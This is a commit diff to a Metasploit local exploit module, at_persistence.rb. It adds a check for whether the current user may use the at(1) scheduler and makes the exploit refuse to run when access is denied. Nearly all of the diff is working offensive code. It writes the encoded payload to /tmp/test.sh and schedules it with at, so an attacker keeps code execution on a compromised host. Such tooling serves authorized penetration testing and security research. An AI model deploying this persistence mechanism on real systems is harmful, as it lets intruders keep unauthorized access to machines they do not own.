Implement check for at_persistence

modules/exploits/multi/local/at_persistence.rb

@@ -47,14 +47,22 @@ class MetasploitModule < Msf::Exploit::Local
     )
   end
 
-  # TODO: find a better way to determine if the user can use at(1).  cmd_exec doesn't get us stderr or a return code
   def check
-    cmd_exec("ls -l")
+    token = "fail #{Rex::Text.rand_text_alphanumeric(8)}"
+    if cmd_exec("at -l || echo #{token}") =~ /#{token}/
+      Exploit::CheckCode::Safe
+    else
+      Exploit::CheckCode::Vulnerable
+    end
   end
 
   def exploit
+    unless check == Exploit::CheckCode::Vulnerable
+      fail_with(Failure::NoAccess, 'User denied cron via at.deny')
+    end
+
     write_file("/tmp/test.sh", payload.encoded)
-    print_status(cmd_exec("at -f /tmp/test.sh #{datastore['TIME']}"))
+    cmd_exec("at -f /tmp/test.sh #{datastore['TIME']}")
     print_status("Waiting #{datastore['WfsDelay']}sec for execution")
     Rex.sleep(datastore['WfsDelay'].to_i)
   end